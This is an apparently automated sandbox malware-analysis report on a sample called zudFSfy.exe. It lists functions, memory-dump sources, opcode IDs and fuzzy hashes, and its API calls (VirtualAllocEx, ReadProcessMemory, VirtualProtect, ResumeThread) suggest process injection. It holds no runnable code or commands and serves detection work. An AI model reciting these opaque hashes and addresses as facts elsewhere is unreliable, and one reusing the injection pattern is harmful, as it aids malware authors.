Instruction Fuzzy Hash: 7D2138B19002099FDB10DFAAC4857EEBBF4EF89324F108429D859A7250CB78A945CFA5

Function 04D13BE8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04D13C68

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 836f80f2b7250ae20580ea51f441f78c46ca4d6dd2ca7b99b90850e698037a2e
Instruction ID: cd2be87f9848edaacdb84a603de0c288ebad3a8e034475c450599f528984db79
Opcode Fuzzy Hash: 836f80f2b7250ae20580ea51f441f78c46ca4d6dd2ca7b99b90850e698037a2e
Instruction Fuzzy Hash: A72148B18002499FDB10DFAAD880ADEFBF5FF48310F108429E918A7250C738A550CBA4

Function 09BD7B89 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 09BD7C03

Memory Dump Source

Source File: 00000007.00000002.2489257969.0000000009BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9bd0000_zudFSfy.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: cd1a33b394196c50f210523c28f36324ee931751bded8f71faa18915401f2801
Instruction ID: 8d74e4a586fa8094538b4f30828749123e721a2225c8dead0c94d27f9a8a9d8a
Opcode Fuzzy Hash: cd1a33b394196c50f210523c28f36324ee931751bded8f71faa18915401f2801
Instruction Fuzzy Hash: E32138B5900249DFCB10DF9AD584BDEFBF4EB48320F148029E858A3250D774A544CFA5

Function 09F0A55C Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,09F0C6EA,?,?,?,?,?), ref: 09F0C78F

Memory Dump Source

Source File: 00000007.00000002.2489646637.0000000009F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9f00000_zudFSfy.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 046b578437b6f645b4aba3597b0a6c8dc93837abe4a3c3aa25973ea06b11d63a
Instruction ID: a1f5d1ed8568acf53cde22001d326e2c5a9fe2957ea8fd67ce1f539ad315fe3e
Opcode Fuzzy Hash: 046b578437b6f645b4aba3597b0a6c8dc93837abe4a3c3aa25973ea06b11d63a
Instruction Fuzzy Hash: E91137B5800249DFDB10DF9AD844BDEBFF8EB88320F14841AE954A7250C375A954DFA5

Function 09BD7B90 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 09BD7C03

Memory Dump Source

Source File: 00000007.00000002.2489257969.0000000009BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9bd0000_zudFSfy.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e9c318de15b8f320374f901379c829baa9897fa39270b95d090875a1ebd98b23
Instruction ID: 5aee60fe5e8a175f68102a6abc3a7e94bdf13c1a28893841681491358a4be12b
Opcode Fuzzy Hash: e9c318de15b8f320374f901379c829baa9897fa39270b95d090875a1ebd98b23
Instruction Fuzzy Hash: 682114B5900249DFCB10DF9AD984BDEFBF4FB48320F108429E958A7250D778A544CFA5

Function 04D13A38 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04D13AA6

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 87931d9f6dc278c044b93686e18d7fe957f315b0c3b7e1293863c15263080fd6
Instruction ID: ce7ec18c326894b6cfb329c2b15a0f5493f21d83da8ac15d0f7774f2f4efb6d5
Opcode Fuzzy Hash: 87931d9f6dc278c044b93686e18d7fe957f315b0c3b7e1293863c15263080fd6
Instruction Fuzzy Hash: 6B1159718002489FDB10DFA9D844ADEBFF5EF88320F108419D919A7250C735A544CFA0

Function 04D13A33 Relevance: 1.6, APIs: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04D13AA6

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6955b1c4b819d526d9e0d19e11a85f67a6a1c9c9a04287bd8d32b49f84af9fe3
Instruction ID: 17adc13077f2f56485196772e7775e49373ab1e1c8aab54fd3c1c5b6d3aedb52
Opcode Fuzzy Hash: 6955b1c4b819d526d9e0d19e11a85f67a6a1c9c9a04287bd8d32b49f84af9fe3
Instruction Fuzzy Hash: 981167B2900249DFDB10DFA9D4407DEBFF5EF88320F20841AD959A7260C735A544CF90

Function 04D138AB Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04D13912

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a268144140125f288610aa7698c695c976558ab35af2e21424b77fa2312436e6
Instruction ID: 71f27f8df7c206efa2411cfdb7412c521591b2e06d897d4491a447212d4b3e30
Opcode Fuzzy Hash: a268144140125f288610aa7698c695c976558ab35af2e21424b77fa2312436e6
Instruction Fuzzy Hash: 6D1125B1900249CFDB20DFAAD4457EEFBF5EB88324F24842AD459A7250C639A945CBA4

Function 04D138B0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04D13912

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: fd01735fe8c0603db0f3aedcd7af0395111e7696c9448eafe805910a61b4b7db
Instruction ID: 212ba5bc9399c3f43311800ff0914e802c0889021ffb6ad1b21ff4e5dd641511
Opcode Fuzzy Hash: fd01735fe8c0603db0f3aedcd7af0395111e7696c9448eafe805910a61b4b7db
Instruction Fuzzy Hash: 501136B19002488FDB20DFAAD4457EEFBF4EF89324F208429D559A7250CB79A944CFA5

Function 04D105F4 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04D1628D

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 469e61cc626d211bf7191761592e82e173fc81689ff6ee8a651ed75122dad35e
Instruction ID: eb294d9c3e6f7340b4f2eeed2aa7218884586770de8f55158c507b2a015713cb
Opcode Fuzzy Hash: 469e61cc626d211bf7191761592e82e173fc81689ff6ee8a651ed75122dad35e
Instruction Fuzzy Hash: 4A1133B5900308EFDB10DF8AD885BDEBBF8EB48320F108419E958A7210C375A940CFA5

Function 0125E560 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0125E5C6

Memory Dump Source

Source File: 00000007.00000002.2477425443.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1250000_zudFSfy.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 68a40dde7b3e6f63d8a46a2d394c4f94f89a5824a82d976d25d5eac022c74fd7
Instruction ID: 388906dcccb8151a241b93befcf79377b9cb4644d3fac54044cb54757227c38d
Opcode Fuzzy Hash: 68a40dde7b3e6f63d8a46a2d394c4f94f89a5824a82d976d25d5eac022c74fd7
Instruction Fuzzy Hash: 661102B5C002498FDB10DF9AD444ADEFBF4AB88214F10846AD919A7210D375A645CFA1

Function 04D16229 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04D1628D

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 2ef9ead37422239dea9e204f21284f12dad2ae04c53cd2733d6060ff1bd4523e
Instruction ID: 5055a384215c074ae8383f031d9395d4a1932033322f607106ff7a5ad42931a7
Opcode Fuzzy Hash: 2ef9ead37422239dea9e204f21284f12dad2ae04c53cd2733d6060ff1bd4523e
Instruction Fuzzy Hash: 911130B5900348DFDB10DF99E584BDEBFF8EB48320F20841ADA58A3250C378A584CFA1

Function 00F1D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2475855079.0000000000F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f1d000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b129c2030ae5b9f2d24859f9e51c5631871e735db9bfac9b8436b6dc496c5248
Instruction ID: 975d9d486ca3a431f1583f227082d3345eba4129256ce148c48a1921bbc537fa
Opcode Fuzzy Hash: b129c2030ae5b9f2d24859f9e51c5631871e735db9bfac9b8436b6dc496c5248
Instruction Fuzzy Hash: A4212671904284EFDB05DF14D9C0B66BBB5FB84324F30C66DE8094B296C33AD886EA61

Function 00F1D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2475855079.0000000000F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f1d000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd4241cb9168b443275b13eb99a7a5ec70bf32fec000231ac4fb140f91c0cdb5
Instruction ID: 8b86c33cc68e2577360f38a32aade5ff8174c1547228f3b47634756c5876a6d4
Opcode Fuzzy Hash: bd4241cb9168b443275b13eb99a7a5ec70bf32fec000231ac4fb140f91c0cdb5
Instruction Fuzzy Hash: A821F575504200DFCB14DF14D984B56BB75EB88324F20C56DD80A4B25AC33AD887DA61

Function 00F1D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2475855079.0000000000F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f1d000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd0581a60090b6af27bd246cd7bcb85cea4b3af54848e75445cf93538388d94a
Instruction ID: 84d2f8296d100258e8cf4b29a43c59f3b1075f1e09a8c79adf52549408944d80
Opcode Fuzzy Hash: bd0581a60090b6af27bd246cd7bcb85cea4b3af54848e75445cf93538388d94a
Instruction Fuzzy Hash: 492180755093808FCB02CF24D994756BF71EB46314F28C5EAD8498F2A7C33A984ADB62

Function 00F1D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2475855079.0000000000F1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f1d000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 86081ee818bff8329feade72ded49f8bf511ea4ba3ee6f5d3c090df2a67c7785
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: DD11BB75904280DFCB06CF14C9C4B55BBB1FB84324F24C6AAD8494B696C33AD84ADB61

Function 00F0D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2475801498.0000000000F0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f0d000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e649dd6b7625906920e4e0df8b0527fa0d93e4ecf3e70e15d805f981dbf9bcfd
Instruction ID: 64de01b34506f046f7132fc7e1de24a640249eab23f600601b3ccfd4daf66cd4
Opcode Fuzzy Hash: e649dd6b7625906920e4e0df8b0527fa0d93e4ecf3e70e15d805f981dbf9bcfd
Instruction Fuzzy Hash: 4A012B714093409AE7104E69CD84B67FF9CDF81334F18C52AED080B2C6C239D840F6B1

Function 00F0D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2475801498.0000000000F0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f0d000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50a7c76b63960799eb9ddd4cc74e9b5ffbd873c3bec7cdc8be85dda1ec34ed7a
Instruction ID: 01b78ef4c5818763560ad38d5970fb9aaaa64e65886f27557f67a468677e4f09
Opcode Fuzzy Hash: 50a7c76b63960799eb9ddd4cc74e9b5ffbd873c3bec7cdc8be85dda1ec34ed7a
Instruction Fuzzy Hash: B0F06D71409344AAE7148E1AD988B66FFA8EF95734F18C45AED084B2C6C2799844DBB1

Non-executed Functions

Function 04D15193 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76eb2e0aa1b4e0f84fc3e03f2e4cad484e7ad6416631ac95b4a944c7618de3b5
Instruction ID: 959e39a9f837569d8c6e479adf92a461805e1917258f398fcc55a7f30fdaeb20
Opcode Fuzzy Hash: 76eb2e0aa1b4e0f84fc3e03f2e4cad484e7ad6416631ac95b4a944c7618de3b5
Instruction Fuzzy Hash: DFE0BF34A49148EBCB50CF54F4A56FCB7B8E78E315F002051D94EA3261E738A9949B00

Function 04D1516B Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2483270961.0000000004D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4d10000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c9cefc4d40ed2bef6ae447022be19032005cfe4be028c184d5d0094ab85dded
Instruction ID: ee98d2c192b681867f9f06d166dd9389922715849356186b8b4418351d78c3b0
Opcode Fuzzy Hash: 2c9cefc4d40ed2bef6ae447022be19032005cfe4be028c184d5d0094ab85dded
Instruction Fuzzy Hash: 0DD05E76F8A200FAC6000AA4B8643F9B378DB87012F042062994AA3126E328E0349514

Analysis Process: zudFSfy.exePID: 2144, Parent PID: 8048COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Executed Functions

Function 05AC17D0 Relevance: 16.1, Strings: 12, Instructions: 1145COMMON

Download Yara Rule

Strings

4, xrefs: 05AC21B5
$^q, xrefs: 05AC20C1
$^q, xrefs: 05AC1CE7
$^q, xrefs: 05AC1C37
$^q, xrefs: 05AC1C27
$^q, xrefs: 05AC1A73
$^q, xrefs: 05AC20B1
$^q, xrefs: 05AC210A
,bq, xrefs: 05AC229A
$^q, xrefs: 05AC1CD7
$^q, xrefs: 05AC1A63
$^q, xrefs: 05AC211A

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-312445597
Opcode ID: 06c3c0e515277444b33a532b4e255d614a050ab69c70f724e766a4f42679dba1
Instruction ID: f2d885879a22f96f84c3a973c96710fd1966a1c628ae24274a284bb31f1bc4be
Opcode Fuzzy Hash: 06c3c0e515277444b33a532b4e255d614a050ab69c70f724e766a4f42679dba1
Instruction Fuzzy Hash: 3DB2F534A00218CFDB14CFA8C994FADBBB6BF48700F158599E516AB3A5CB71AD85CF50

Function 05AC1B07 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 05AC21B5
$^q, xrefs: 05AC210A
$^q, xrefs: 05AC1C27
$^q, xrefs: 05AC20B1
,bq, xrefs: 05AC229A
$^q, xrefs: 05AC1CD7

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q
API String ID: 0-2546334966
Opcode ID: f4992236906dfc731980699bc98df8d71a965e08f00d0f66d9a5107cbbf86ed6
Instruction ID: 2377e7fee865b9ba9118b1d1b75486295002c395e1981fdc35eadd69f0f5240c
Opcode Fuzzy Hash: f4992236906dfc731980699bc98df8d71a965e08f00d0f66d9a5107cbbf86ed6
Instruction Fuzzy Hash: 1F22D734A04218CFDB24CF64C994FADBBB6BF48704F1481E9E51AAB2A5DB719D81CF50

Function 05AE99F8 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d768f92b70bf759873a8788d838d734d2bfae86f0e06bc4f5ec806af6eee118c
Instruction ID: 1453bdfa9cd49b9a5a5b6ef7069e75ad998d0fd393380f83ec48af065e6e22cb
Opcode Fuzzy Hash: d768f92b70bf759873a8788d838d734d2bfae86f0e06bc4f5ec806af6eee118c
Instruction Fuzzy Hash: C1917870A04205DFEB14CF5AE585FBAB7F3FB89310F188169D406AB694DB789882CB54

Function 05AE4990 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a4de5dff7df077c499b71b3b145d4349dace934b88aaceee6fef0d4aecf9277
Instruction ID: 861f4d2c30dc9c393a01687cdd8f620d1fe9abaa43041325b058b1250e6a9053
Opcode Fuzzy Hash: 0a4de5dff7df077c499b71b3b145d4349dace934b88aaceee6fef0d4aecf9277
Instruction Fuzzy Hash: 03516470A00209DFCB44DFA9D854AAEBBF6FF8C304F4195ADD026AB290DB395945CF01

Function 05AE49A0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1944aeedb48030d2c43b72cac7ca028bc2d6ce695588ad0c446996cd5473cdc
Instruction ID: 2e055aec0ed3a1aeb97a8df5c819be64bc90a732a3f2319fbd0aa9f1405f35d5
Opcode Fuzzy Hash: a1944aeedb48030d2c43b72cac7ca028bc2d6ce695588ad0c446996cd5473cdc
Instruction Fuzzy Hash: 51517570A00209DFCF44DFA9D454AAEBBF6FF8D304F4191A9D026AB290DB395985CF15

Function 05AC9208 Relevance: 7.9, Strings: 6, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 05AC93D2
4'^q, xrefs: 05AC928C
4'^q, xrefs: 05AC92DA
4'^q, xrefs: 05AC9352
pbq, xrefs: 05AC935F
4'^q, xrefs: 05AC92BC

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (bq$4'^q$4'^q$4'^q$4'^q$pbq
API String ID: 0-723292480
Opcode ID: dea1fca761f64a32949424aa24750bc3d78c517107b934cb6b984e897c44e203
Instruction ID: 3c9a29c48185f349fc1b3eefe2dbbd6a75c638367420388764f752add1e53152
Opcode Fuzzy Hash: dea1fca761f64a32949424aa24750bc3d78c517107b934cb6b984e897c44e203
Instruction Fuzzy Hash: C9D12C36A00214DFCB15CF54C954EAABBB6FF88310F0644E8E509AB275DB32ED56DB90

Function 05AC7F40 Relevance: 4.2, Strings: 3, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 05AC8415
Hbq, xrefs: 05AC8444
Hbq, xrefs: 05AC8494

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq
API String ID: 0-2297679979
Opcode ID: fb4832da20a8f1d3340f5a07baab744964915347cf30b00b7fd90147932f092b
Instruction ID: 8bc6cfbfb7046b9d30220ce5f5c29cdfaa415f3bd184a045ac444779a6bec602
Opcode Fuzzy Hash: fb4832da20a8f1d3340f5a07baab744964915347cf30b00b7fd90147932f092b
Instruction Fuzzy Hash: 60124835B04205CFCB24DFA9C594AAEBBF2FF88300B1485ADE5569B394DB35AC46CB50

Function 05AC9C00 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 05AC9EF9
4'^q, xrefs: 05AC9F79
4'^q, xrefs: 05AC9E1A

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q
API String ID: 0-1196845430
Opcode ID: 253fab386a54864ce6d1a95336dd029baa516915321a89d0300b1cf76b1662c4
Instruction ID: 728d624851b08f3a92d8bff215ff6002eb7df8405701b2e66af1d841ad85b9fc
Opcode Fuzzy Hash: 253fab386a54864ce6d1a95336dd029baa516915321a89d0300b1cf76b1662c4
Instruction Fuzzy Hash: BDF19834B14118DFCB08DB64D998E9EBBB2FF89305F158198E506AB365DB71EC42CB50

Function 05ACE030 Relevance: 4.1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 05ACE169
Hbq, xrefs: 05ACE1C1
(bq, xrefs: 05ACE195

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (bq$(bq$Hbq
API String ID: 0-2835675688
Opcode ID: a8c5ae21344c344142e6c3fdef781460b894a87848be7dc8a7c23095bfbdb8dd
Instruction ID: 7bfb5e953044716e2eea55403ba8b7fa45e6996ec3f4eaed64a52401a847bf40
Opcode Fuzzy Hash: a8c5ae21344c344142e6c3fdef781460b894a87848be7dc8a7c23095bfbdb8dd
Instruction Fuzzy Hash: B5E10D34B01209DFCB05EF64D5949AEBBB6FF89310F1185A9E506AB364DB31EC42CB91

Function 05830B28 Relevance: 3.9, Strings: 2, Instructions: 1383COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05831CEA
4'^q, xrefs: 05831CDE

Memory Dump Source

Source File: 00000009.00000002.2496530948.0000000005830000.00000040.00000800.00020000.00000000.sdmp, Offset: 05830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5830000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 3491776f51786a076a845a5f4ad6c1a3b2e889b929ab3ed82364abd88f81d441
Instruction ID: 8ab30495c6e6554418c97313e575661bee8c0196e9478dbb6fb1eb3a58557660
Opcode Fuzzy Hash: 3491776f51786a076a845a5f4ad6c1a3b2e889b929ab3ed82364abd88f81d441
Instruction Fuzzy Hash: 97A2BC30F48328CFCF249A69555E63E69EBBB88A40B55496ADD07DB358EE30CC41C7D2

Function 05AC38F9 Relevance: 3.0, Strings: 2, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 05AC3C23
$^q, xrefs: 05AC3C13

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: f4ba60b020ae66ad8021572d66ee821344d605d42c97a9c1a5d3e2df80f2ca89
Instruction ID: e172d6fa28331b704a811f44d59e43c2b1f52e17a3c249f6f9891f25199fb6d9
Opcode Fuzzy Hash: f4ba60b020ae66ad8021572d66ee821344d605d42c97a9c1a5d3e2df80f2ca89
Instruction Fuzzy Hash: CA124E34A04619CFCF15CFA5D954ABEBBB2FF48700F148499E812AB3A4DB399D45CB90

Function 05AC79F8 Relevance: 2.8, Strings: 2, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 05AC7C59
(bq, xrefs: 05AC7A0C

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (bq$d
API String ID: 0-3334038649
Opcode ID: 717d709be15d50a42508e2e2b099e3a12ab169312ea5ee79dcad972f6f7cc243
Instruction ID: e57da76dd676ccbe7a726cd6257b02bce0c1361bdd9639c70bf9e626f1f03fd6
Opcode Fuzzy Hash: 717d709be15d50a42508e2e2b099e3a12ab169312ea5ee79dcad972f6f7cc243
Instruction Fuzzy Hash: D0D129356006068FCB15DF29C584D6ABBF2FF88310B5589ADE46A9B365DB30F846CF90

Function 05AC8780 Relevance: 2.8, Strings: 2, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 05AC8A94
Hbq, xrefs: 05AC8A2C

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 2ef691c739bc2cd06d2cb936d5ea2b75e4b543546063e4cb307d61efcc3b5687
Instruction ID: 23cce3ff64f624aefbc2d1529fcc22682838c3f17095cba13b83690188b9cc17
Opcode Fuzzy Hash: 2ef691c739bc2cd06d2cb936d5ea2b75e4b543546063e4cb307d61efcc3b5687
Instruction Fuzzy Hash: FEC18F346005169FCB04DF29C480E6EBBF2FF88314F1585A8E8199B3A5DB34EC46CB95

